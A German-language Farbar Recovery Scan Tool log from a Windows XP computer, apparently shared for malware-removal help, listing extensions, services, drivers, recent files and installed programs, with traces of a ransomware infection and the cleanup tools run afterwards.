FF Extension: VMN Toolbar - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{98f782cf-9b6b-41ca-909b-b4fdc0bbc23a} [2011-08-22] [ist nicht signiert]

FF Extension: JavaScript Options - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{cdbbb3f6-a50e-4b20-a154-5fcbb3bbf43d} [2009-05-31] [ist nicht signiert]

FF Extension: Mozilla Firefox distributed by RealNetworks - C:\Programme\Mozilla Firefox\extensions\realplayer@partners.mozilla.com [2009-01-22] [ist nicht signiert]

FF Extension: Controller - C:\Programme\Mozilla Firefox\extensions\{B0BBFC8E-6697-4D2B-8FC4-B5AD9B3B1F11} [2016-05-20] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\Program Files\Real\RealPlayer\browserrecord

FF Extension: RealPlayer Browser Record Plugin - C:\Program Files\Real\RealPlayer\browserrecord [2009-04-10] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{20a82645-c095-46ed-80e3-08825760534b}] - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension

FF Extension: Microsoft .NET Framework Assistant - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension [2010-03-02] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{23fcfd51-4958-4f00-80a3-ae97e717ed8b}] - C:\Programme\DivX\DivX Plus Web Player\firefox\DivXHTML5

FF Extension: DivX Plus Web Player HTML5 &video& - C:\Programme\DivX\DivX Plus Web Player\firefox\DivXHTML5 [2012-09-16] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{8D03DB51-DA47-46a9-8F14-53ABE84263F5}] - C:\Programme\Telenor Norway\Telenorhjelpen\BHO\Firefox

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox-branding.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox-l10n.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\reporter.js [2009-01-20]
 

Chrome: 

=======

CHR HomePage: Default -> hxxp://www.google.com/

CHR StartupUrls: Default -> "hxxp://www.google.com/"

CHR Session Restore: Default -> ist aktiviert.

CHR Profile: C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default

CHR Extension: (Google Docs) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-02-06]

CHR Extension: (Google Drive) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-10-21]

CHR Extension: (YouTube) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-09-29]

CHR Extension: (Adblock für Youtube™) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\cmedhionkhpnakcndndgjdbohmhepckk [2016-03-04]

CHR Extension: (Google-Suche) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-11-27]

CHR Extension: (Google Docs Offline) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-03-16]

CHR Extension: (Chrome Web Store-Zahlungen) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2016-04-02]

CHR Extension: (Mehr Leistung und Videoformate für dein HTML5 <video>) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nneajnkjbffgblleaoojgaacokifdkhm [2013-07-25]

CHR Extension: (Google Mail) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-04-10]

CHR HKLM\...\Chrome\Extension: [nneajnkjbffgblleaoojgaacokifdkhm] - C:\Programme\DivX\DivX Plus Web Player\chrome\DivXHTML5\DivXHTML5.crx [2011-12-12]
 

==================== Dienste (Nicht auf der Ausnahmeliste) ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

S3 Adobe LM Service; C:\Programme\Gemeinsame Dateien\Adobe Systems Shared\Service\Adobelmsvc.exe [72704 2013-12-17] (Adobe Systems) [Datei ist nicht signiert]

S4 Adobe Version Cue CS2; c:\Programme\Adobe\Adobe Version Cue CS2\bin\VersionCueCS2.exe [163840 2005-04-06] (Adobe Systems Incorporated) [Datei ist nicht signiert]

S4 ESUSClient_TNO; C:\Programme\Telenor Norway\ESUS_TNO\ESUS_TNO.exe [358808 2010-12-17] (Telenor Norway)

S4 gupdate; C:\Programme\Google\Update\GoogleUpdate.exe [144200 2015-08-27] (Google Inc.)

S4 gupdatem; C:\Programme\Google\Update\GoogleUpdate.exe [144200 2015-08-27] (Google Inc.)

S3 IDriverT; C:\Programme\Gemeinsame Dateien\InstallShield\Driver\1150\Intel 32\IDriverT.exe [69632 2005-11-14] (Macrovision Corporation) [Datei ist nicht signiert]

R2 JavaQuickStarterService; C:\Programme\Java\jre7\bin\jqs.exe [161664 2014-06-21] (Oracle Corporation)

R2 LightScribeService; C:\Programme\Gemeinsame Dateien\LightScribe\LSSrvc.exe [73728 2006-04-24] (Hewlett-Packard Company) [Datei ist nicht signiert]

S4 LiveUpdateSvc; C:\Programme\IObit\LiveUpdate\LiveUpdate.exe [2909472 2015-08-17] (IObit)

S4 MSCSPTISRV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\MSCSPTISRV.exe [45056 2006-12-14] (Sony Corporation) [Datei ist nicht signiert]

S4 MySQL56; C:\Programme\MySQL\MySQL Server 5.6\bin\mysqld.exe [11048960 2015-05-05] () [Datei ist nicht signiert]

S4 nlsX86cc; C:\WINDOWS\system32\nlssrv32.exe [63488 2010-03-11] (Nalpeiron Ltd.) [Datei ist nicht signiert]

S3 ose; C:\Programme\Gemeinsame Dateien\Microsoft Shared\Source Engine\OSE.EXE [89136 2003-07-28] (Microsoft Corporation)

R2 PaceLicenseDServices; C:\Programme\Gemeinsame Dateien\PACE\Services\LicenseServices\LDSvc.exe [2784768 2011-03-25] (PACE Anti-Piracy, Inc.) [Datei ist nicht signiert]

S3 PACSPTISVR; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\PACSPTISVR.exe [57344 2006-12-14] () [Datei ist nicht signiert]

R2 SentinelProtectionServer; C:\Programme\Gemeinsame Dateien\SafeNet Sentinel\Sentinel Protection Server\WinNT\spnsrvnt.exe [206400 2006-05-07] (SafeNet, Inc)

S4 SonicStage Back-End Service; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SsBeSvc.exe [112184 2007-02-05] (Sony Corporation)

S3 SPTISRV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SPTISRV.exe [69632 2006-12-14] (Sony Corporation) [Datei ist nicht signiert]

S4 SSScsiSV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SSScsiSV.exe [75320 2007-02-05] (Sony Corporation)

S4 TelenorhjelpenSvc; C:\Programme\Telenor Norway\Telenorhjelpen\Service.exe [463240 2011-02-15] ()

S4 Apple Mobile Device; "C:\Programme\Gemeinsame Dateien\Apple\Mobile Device Support\AppleMobileDeviceService.exe" [X]

S4 Iomega Activity Disk2; "" [X]
 

===================== Treiber (Nicht auf der Ausnahmeliste) ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

R3 AEAudioService; C:\WINDOWS\System32\drivers\AEAudio.sys [127872 2005-03-04] (Andrea Electronics Corporation)

R2 AegisP; C:\WINDOWS\System32\DRIVERS\AegisP.sys [17801 2016-01-12] (Meetinghouse Data Communications) [Datei ist nicht signiert]

R1 AFS2K; C:\WINDOWS\system32\Drivers\AFS2K.sys [43488 2007-01-09] (Oak Technology Inc.)

R3 ASAPIW2K; C:\WINDOWS\System32\Drivers\ASAPIW2K.sys [11264 2003-11-28] (Pinnacle Systems GmbH) [Datei ist nicht signiert]

R1 ElbyCDIO; C:\WINDOWS\System32\Drivers\ElbyCDIO.sys [30616 2014-12-21] (Elaborate Bytes AG)

S3 fireface; C:\WINDOWS\System32\drivers\fireface.sys [83968 2016-03-08] (RME) [Datei ist nicht signiert]

R2 Haspnt; C:\WINDOWS\system32\drivers\haspnt.sys [36352 2007-11-23] () [Datei ist nicht signiert]

S3 HdAudAddService; C:\WINDOWS\System32\drivers\HdAudio.sys [145920 2004-10-27] (Windows (R) Server 2003 DDK provider)

R3 HPZid412; C:\WINDOWS\System32\DRIVERS\HPZid412.sys [51056 2003-08-11] (HP)

R3 HPZipr12; C:\WINDOWS\System32\DRIVERS\HPZipr12.sys [16496 2003-08-11] (HP)

R3 HPZius12; C:\WINDOWS\System32\DRIVERS\HPZius12.sys [21488 2003-08-11] (HP)

S3 iLokDrvr; C:\WINDOWS\System32\DRIVERS\iLokDrvr.sys [21112 2011-04-24] ()

R3 L8042PR2; C:\WINDOWS\System32\Drivers\l8042pr2.sys [53870 2003-06-30] (Logitech, Inc.)

R3 motubus; C:\WINDOWS\System32\drivers\MotuBus.sys [22024 2007-01-04] (Mark of the Unicorn)

R3 MTsensor; C:\WINDOWS\System32\DRIVERS\ASACPI.sys [5810 2004-08-13] ()

S3 NETMDUSB; C:\WINDOWS\System32\Drivers\NETMD033.sys [36232 2003-11-10] (Sony Corporation)

R3 NVHDA; C:\WINDOWS\System32\drivers\nvhda32.sys [124264 2013-02-18] (NVIDIA Corporation)

R3 SenFiltService; C:\WINDOWS\System32\drivers\Senfilt.sys [393088 2005-08-11] (Sensaura)

S3 SynasUSB; C:\WINDOWS\System32\drivers\SynasUSB.sys [23696 2009-06-26] (Steinberg Media Technologies GmbH)

R0 TPkd; C:\WINDOWS\system32\Drivers\TPkd.sys [93304 2011-03-24] (PACE Anti-Piracy, Inc.)

S3 AR5416; system32\DRIVERS\athw.sys [X]

S3 catchme; \??\C:\ComboFix\catchme.sys [X]

S3 hwdatacard; system32\DRIVERS\ewusbmdm.sys [X]

S4 IntelIde; kein ImagePath

S3 MotuMidi; system32\drivers\MotuMidi.sys [X]

S3 MotuUsb; System32\Drivers\MotuUsb.sys [X]

U5 ScsiPort; C:\WINDOWS\system32\drivers\scsiport.sys [96384 2008-04-14] (Microsoft Corporation)
 

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 
 

==================== Ein Monat: Erstellte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2016-08-18 00:59 - 2016-08-18 01:12 - 00000000 ____D C:\Rem-VBSqt

2016-08-18 00:52 - 2016-08-18 00:52 - 00000000 ____D C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Panda Security

2016-08-18 00:51 - 2016-08-18 00:51 - 00000000 ____D C:\Programme\Panda USB Vaccine

2016-08-18 00:51 - 2016-08-18 00:51 - 00000000 ____D C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Panda Security

2016-08-17 16:41 - 2016-08-17 16:41 - 00003810 _____ C:\Dokumente und Einstellungen\Administrator\wie_zum_Wiederherstellen_von_Dateien.html

2016-08-17 16:41 - 2016-08-17 16:41 - 00001248 _____ C:\Dokumente und Einstellungen\Administrator\wie_zum_Wiederherstellen_von_Dateien.txt

2016-08-16 17:41 - 2016-08-18 01:28 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\temp

2016-08-16 17:41 - 2016-08-16 17:41 - 00015153 _____ C:\ComboFix.txt

2016-08-16 17:41 - 2016-08-16 17:41 - 00000000 ____D C:\Dokumente und Einstellungen\NetworkService\Lokale Einstellungen\temp

2016-08-16 17:41 - 2016-08-16 17:41 - 00000000 ____D C:\Dokumente und Einstellungen\LocalService\Lokale Einstellungen\temp

2016-08-16 17:41 - 2016-08-16 17:41 - 00000000 ____D C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\temp

2016-08-16 17:19 - 2016-08-16 17:41 - 00000000 ____D C:\Qoobox

2016-08-16 17:19 - 2016-08-16 17:40 - 00000000 ____D C:\WINDOWS\erdnt

2016-08-16 17:19 - 2011-06-26 08:45 - 00256000 _____ C:\WINDOWS\PEV.exe

2016-08-16 17:19 - 2010-11-07 19:20 - 00208896 _____ C:\WINDOWS\MBR.exe

2016-08-16 17:19 - 2009-04-20 06:56 - 00060416 _____ (NirSoft) C:\WINDOWS\NIRCMD.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00518144 _____ (SteelWerX) C:\WINDOWS\SWREG.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00406528 _____ (SteelWerX) C:\WINDOWS\SWSC.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00212480 _____ (SteelWerX) C:\WINDOWS\SWXCACLS.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00098816 _____ C:\WINDOWS\sed.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00080412 _____ C:\WINDOWS\grep.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00068096 _____ C:\WINDOWS\zip.exe

2016-08-16 16:09 - 2016-08-16 16:54 - 00273062 _____ C:\TDSSKiller.3.1.0.11_16.08.2016_16.09.54_log.txt

2016-08-16 15:09 - 2016-08-16 16:07 - 00139380 _____ C:\TDSSKiller.3.1.0.11_16.08.2016_15.09.26_log.txt

2016-08-16 15:07 - 2016-08-16 15:07 - 00002164 _____ C:\TDSSKiller.3.1.0.11_16.08.2016_15.07.39_log.txt

2016-08-04 00:56 - 2016-08-18 01:28 - 00000000 ____D C:\FRST

2016-08-04 00:39 - 2016-08-17 16:40 - 00000000 ____D C:\AdwCleaner
 

==================== Ein Monat: Geänderte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2016-08-18 01:25 - 2013-03-03 14:01 - 00000884 _____ C:\WINDOWS\Tasks\Adobe Flash Player Updater.job

2016-08-18 01:13 - 2013-07-20 20:32 - 00001090 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job

2016-08-18 00:52 - 2007-01-09 05:25 - 00000000 __RHD C:\Dokumente und Einstellungen\All Users\Anwendungsdaten

2016-08-18 00:51 - 2007-01-09 05:27 - 00000000 ___RD C:\Programme

2016-08-18 00:51 - 2007-01-09 05:27 - 00000000 ___RD C:\Dokumente und Einstellungen\All Users\Startmenü\Programme

2016-08-18 00:40 - 2013-07-20 20:32 - 00001086 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job

2016-08-18 00:40 - 2007-01-08 22:44 - 00000000 __SHD C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Verlauf

2016-08-18 00:40 - 2007-01-08 22:42 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT

2016-08-18 00:40 - 2007-01-08 22:42 - 00000000 __SHD C:\Dokumente und Einstellungen\LocalService\Lokale Einstellungen\Verlauf

2016-08-18 00:39 - 2013-02-24 02:00 - 00262144 _____ C:\WINDOWS\system32\config\WindowsPowerShell.evt

2016-08-18 00:39 - 2007-07-11 17:15 - 00000000 ____D C:\Programme\Spybot - Search & Destroy

2016-08-18 00:39 - 2007-01-08 22:44 - 00000190 ___SH C:\Dokumente und Einstellungen\Julie\ntuser.ini

2016-08-18 00:39 - 2007-01-08 22:42 - 00032566 _____ C:\WINDOWS\SchedLgU.Txt

2016-08-18 00:38 - 2015-06-21 17:55 - 00000000 __SHD C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Verlauf

2016-08-18 00:38 - 2013-08-03 00:01 - 00000000 __SHD C:\Dokumente und Einstellungen\Default User\Lokale Einstellungen\Verlauf

2016-08-18 00:38 - 2012-07-03 01:53 - 00000000 ____D C:\WINDOWS\pss

2016-08-18 00:38 - 2007-01-09 05:24 - 00000000 ____D C:\Dokumente und Einstellungen\All Users

2016-08-18 00:38 - 2007-01-08 22:44 - 00000000 ___HD C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen

2016-08-18 00:38 - 2007-01-08 22:40 - 00000000 ___HD C:\Dokumente und Einstellungen\NetworkService\Lokale Einstellungen\Verlauf

2016-08-18 00:33 - 2007-07-11 17:16 - 00000000 ____D C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Spybot - Search & Destroy

2016-08-18 00:33 - 2007-07-11 15:13 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Spybot - Search & Destroy

2016-08-17 21:36 - 2014-04-04 14:37 - 00007706 _____ C:\WINDOWS\system32\nvAppTimestamps

2016-08-17 18:13 - 2007-01-16 14:11 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Eigene Dateien\AMS

2016-08-17 16:41 - 2013-12-17 22:00 - 00000000 ____D C:\Creative Suite CS2

2016-08-17 16:41 - 2013-02-20 20:08 - 00000000 ____D C:\Dokumente und Einstellungen\Administrator

2016-08-17 16:40 - 2008-08-08 14:15 - 00000000 ____D C:\CDLab

2016-08-17 16:39 - 2011-08-09 21:54 - 00000572 ____H C:\Dokumente und Einstellungen\Julie\Desktop\redir.htaccess.enc

2016-08-17 16:39 - 2009-04-01 10:39 - 02090032 ____H C:\Dokumente und Einstellungen\Julie\Desktop\Nokia_5800_XpressMusic_UG_de.pdf.enc

2016-08-17 13:13 - 2007-01-08 22:44 - 00000000 ___HD C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten

2016-08-17 11:50 - 2007-01-08 22:44 - 00000000 ____D C:\Dokumente und Einstellungen\Julie

2016-08-16 17:41 - 2015-06-21 17:55 - 00000000 ___HD C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen

2016-08-16 17:41 - 2013-08-03 00:01 - 00000000 ____D C:\Dokumente und Einstellungen\Default User

2016-08-16 17:41 - 2007-01-08 22:42 - 00000000 ___HD C:\Dokumente und Einstellungen\LocalService\Lokale Einstellungen

2016-08-16 17:41 - 2007-01-08 22:40 - 00000000 ___HD C:\Dokumente und Einstellungen\NetworkService\Lokale Einstellungen

2016-08-16 17:36 - 2002-12-31 14:00 - 00000260 _____ C:\WINDOWS\system.ini

2016-08-16 17:35 - 2007-01-09 06:23 - 41156608 _____ C:\WINDOWS\system32\config\software.bak

2016-08-16 17:35 - 2007-01-09 06:23 - 05767168 _____ C:\WINDOWS\system32\config\system.bak

2016-08-16 17:35 - 2007-01-09 06:23 - 02097152 _____ C:\WINDOWS\system32\config\default.bak

2016-08-16 17:35 - 2007-01-09 05:24 - 00262144 _____ C:\WINDOWS\system32\config\SECURITY.bak

2016-08-16 17:35 - 2007-01-09 05:24 - 00028672 _____ C:\WINDOWS\system32\config\SAM.bak

2016-08-16 17:31 - 2007-01-09 05:27 - 00000000 ____D C:\Programme\Gemeinsame Dateien

2016-08-16 17:24 - 2007-01-08 22:44 - 00000000 ___RD C:\Dokumente und Einstellungen\Julie\Anwendungsdaten

2016-08-16 16:33 - 2007-01-08 22:35 - 00000000 ____D C:\Programme\Outlook Express

2016-08-16 16:31 - 2014-08-12 18:08 - 00000026 _____ C:\WINDOWS\Zone.Identifier

2016-08-16 12:20 - 2002-12-31 14:00 - 00002206 _____ C:\WINDOWS\system32\wpa.dbl

2016-08-04 11:53 - 2007-01-08 22:44 - 00000000 ___RD C:\Dokumente und Einstellungen\Julie\Startmenü\Programme\Autostart

2016-08-04 11:53 - 2002-12-31 14:00 - 00000718 _____ C:\WINDOWS\win.ini

2016-08-04 00:44 - 2007-01-08 22:42 - 00000190 ___SH C:\Dokumente und Einstellungen\LocalService\ntuser.ini

2016-08-02 13:21 - 2012-09-12 17:36 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Eigene Dateien\My Scans

2016-08-02 13:21 - 2007-02-06 12:31 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\ApplicationHistory

2016-08-01 01:00 - 2015-07-09 15:34 - 00002285 _____ C:\Dokumente und Einstellungen\Julie\Desktop\MySQL Control Center.lnk

2016-08-01 00:44 - 2007-02-06 20:21 - 00000000 ____D C:\Programme\CD-Lab Viewer

2016-08-01 00:21 - 2007-01-09 06:23 - 00000211 ___SH C:\boot.ini

2016-07-29 12:13 - 2016-03-15 14:54 - 00000000 ____D C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\ProductData

2016-07-22 13:11 - 2007-10-23 01:01 - 00000000 ____D C:\unzipped
 

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======
 

2008-05-24 12:07 - 2009-05-05 20:34 - 0000000 ____H () C:\Programme\Gemeinsame Dateien\MSN

2012-09-07 14:04 - 2012-09-07 14:06 - 0001024 _____ () C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\WavCodec.wff

2008-01-30 13:51 - 2016-02-22 12:47 - 0018432 _____ () C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini

2007-02-06 12:31 - 2007-02-06 12:31 - 0000138 _____ () C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\fusioncache.dat

2016-04-20 23:17 - 2016-04-20 23:17 - 0000085 ___SH () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\.zreglib

2011-02-24 22:39 - 2011-02-24 22:39 - 0005013 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\jdhdxjyu.jga

2007-05-02 13:18 - 2010-08-07 15:27 - 0001763 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\QTSBandwidthCache
 

==================== Bamital & volsnap =================
 

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)
 

C:\WINDOWS\explorer.exe => Datei ist digital signiert

C:\WINDOWS\system32\winlogon.exe => Datei ist digital signiert

C:\WINDOWS\system32\svchost.exe => Datei ist digital signiert

C:\WINDOWS\system32\services.exe => Datei ist digital signiert

C:\WINDOWS\system32\User32.dll => Datei ist digital signiert

C:\WINDOWS\system32\userinit.exe => Datei ist digital signiert

C:\WINDOWS\system32\rpcss.dll => Datei ist digital signiert

C:\WINDOWS\system32\dnsapi.dll => Datei ist digital signiert

C:\WINDOWS\system32\Drivers\volsnap.sys => Datei ist digital signiert
 

==================== Ende vom FRST.txt ============================

...sowie Addition.txt

Code:

Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x86) Version: 03-08-2016

durchgeführt von Julie (2016-08-18 01:29:06)

Gestartet von C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads

Microsoft Windows XP Professional Service Pack 3 (X86) (2013-02-20 19:04:41)

Start-Modus: Normal

==========================================================
 
 

==================== Konten: =============================
 

Administrator (S-1-5-21-796845957-1960408961-682003330-500 - Administrator - Enabled) => %SystemDrive%\Dokumente und Einstellungen\Administrator.HOME

ASPNET (S-1-5-21-796845957-1960408961-682003330-1004 - Limited - Enabled)

Gast (S-1-5-21-796845957-1960408961-682003330-501 - Limited - Enabled)

Hilfeassistent (S-1-5-21-796845957-1960408961-682003330-1000 - Limited - Disabled)

Julie (S-1-5-21-796845957-1960408961-682003330-1003 - Administrator - Enabled) => %SystemDrive%\Dokumente und Einstellungen\Julie

SUPPORT_388945a0 (S-1-5-21-796845957-1960408961-682003330-1002 - Limited - Disabled)
 

==================== Sicherheits-Center ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)
 
 

==================== Installierte Programme ======================
 

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)
 

5500 (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500_Help (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500Tour (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500Trb (Version: 40.0.105.000 - Hewlett-Packard) Hidden

A1 Internet Software (HKLM\...\A1 Internet Software) (Version: 8.1.1.64 - A1 Telekom Austria AG)

A1 Internet Software (Version: 8.1.1.64 - A1 Telekom Austria AG) Hidden

A1 Servicecenter (HKLM\...\A1 Servicecenter) (Version: 1.1.0.12 - A1 Telekom Austria AG)

A1 Servicecenter (Version: 1.1.0.12 - A1 Telekom Austria AG) Hidden

A1 Webassistent (HKLM\...\A1 Webassistent) (Version: 4.2.0.168 - A1 Telekom Austria AG)

A1 Webassistent (Version: 4.2.0.168 - A1 Telekom Austria) Hidden

Active Disk (HKLM\...\Active Disk) (Version:  - )

Adobe AIR (HKLM\...\Adobe AIR) (Version: 1.5.3.9130 - Adobe Systems Inc.)

Adobe Creative Suite 2 (HKLM\...\{0134A1A1-C283-4A47-91A1-92F19F960372}) (Version:  - )

Adobe Flash Player 22 ActiveX (HKLM\...\Adobe Flash Player ActiveX) (Version: 22.0.0.210 - Adobe Systems Incorporated)

Adobe Flash Player 22 NPAPI (HKLM\...\Adobe Flash Player NPAPI) (Version: 22.0.0.209 - Adobe Systems Incorporated)

Adobe Reader 8.1.2 - Deutsch (HKLM\...\{AC76BA86-7AD7-1031-7B44-A81200000003}) (Version: 8.1.2 - Adobe Systems Incorporated)

Adobe Reader 8.1.2 Security Update 1 (KB403742) (HKLM\...\{AC76BA86-7AD7-1031-7B44-A81200000003}_Adobe Reader 8.1.2 - Deutsch) (Version:  - )

Adobe Shockwave Player 12.1 (HKLM\...\Adobe Shockwave Player) (Version: 12.1.8.158 - Adobe Systems, Inc.)

Adobe SVG Viewer 3.0 (HKLM\...\Adobe SVG Viewer) (Version:  3.0 - Adobe Systems, Inc.)

AiO_Scan (Version: 40.0.105.000 - Hewlett-Packard) Hidden

AIOMinimal (Version: 40.0.105.000 - Hewlett-Packard) Hidden

AiOSoftware (Version: 40.0.105.000 - Hewlett-Packard) Hidden

Apple Application Support (HKLM\...\{63EC2120-1742-4625-AA47-C6A8AEC9C64C}) (Version: 2.2.2 - Apple Inc.)

Apple Mobile Device Support (HKLM\...\{D4DDFAA1-EC37-4529-AD5B-A433ADE68662}) (Version: 6.0.0.59 - Apple Inc.)

ASAPI (HKLM\...\{8A7E941F-2BB4-47D0-B732-8AE5F3513B68}) (Version: 6.0.0 - Pinnacle Systems GmbH)

ATI - Dienstprogramm zur Deinstallation der Software (HKLM\...\All ATI Software) (Version: 6.14.10.1022 - )

aTube Catcher Version 3.8 (HKLM\...\{D43B360E-722D-421B-BC77-20B9E0F8B6CD}_is1) (Version: 3.8 - DsNET Corp)

AVS Video Converter 7 (HKLM\...\AVS4YOU Video Converter 7_is1) (Version:  - Online Media Technologies Ltd.)

CloneDVD2 (HKLM\...\CloneDVD2) (Version: 2.9.3.3 - Elaborate Bytes)

Copy (Version: 5.35.0.065 - Hewlett-Packard) Hidden

CreativeProjects (Version: 5.35.0.059 - Hewlett-Packard) Hidden

Director (Version: 5.35.0.051 - Hewlett-Packard) Hidden

DivX-Setup (HKLM\...\DivX Setup) (Version: 2.6.1.22 - DivX, LLC)

DocProc (Version: 3.5.0.0 - Hewlett-Packard) Hidden

eLicenser Control (HKLM\...\eLicenser Control) (Version:  - Steinberg Media Technologies GmbH)

Express Rip (HKLM\...\ExpressRip) (Version:  - NCH Swift Sound)

Fax (Version: 40.0.105.000 - Hewlett-Packard) Hidden

Google Chrome (HKLM\...\Google Chrome) (Version: 49.0.2623.112 - Google Inc.)

Google Talk Plugin (HKLM\...\{2B0FC5A8-C3B6-33B7-9069-0D3BC69D2E50}) (Version: 3.11.7.10909 - Google)

Google Update Helper (Version: 1.3.25.11 - Google Inc.) Hidden

Google Update Helper (Version: 1.3.31.5 - Google Inc.) Hidden

Hotfix für Windows XP (KB2779562) (HKLM\...\KB2779562) (Version: 1 - Microsoft Corporation)

Hotfix für Windows XP (KB952287) (HKLM\...\KB952287) (Version: 1 - Microsoft Corporation)

HP CD Labeler II (HKLM\...\HP CD Labeler II) (Version:  - )

HP Image Zone 3.5 (HKLM\...\HP Photo & Imaging) (Version: 3.5 - HP)

HP PSC & OfficeJet 3.5 (HKLM\...\{0FABD3D7-3036-4e78-B29D-58957ADB0A12}) (Version: 3.5 - HP)

HP Software Update (HKLM\...\{34957B51-9676-41CE-9E52-44AE91B73F1C}) (Version: 1.0.22.20030804 - Hewlett-Packard)

HPSystemDiagnostics (Version: 1.5.0.0 - Your Company Name) Hidden

iDR System Manager V3.50 (HKLM\...\iDR System Manager V3.50) (Version:  - )

iLok Client Helper x32x64 (HKLM\...\InstallShield_{27F0B084-8305-4891-B9FD-4F2E3EDF98D4}) (Version: 5.8.9 - PACE Anti-Piracy)

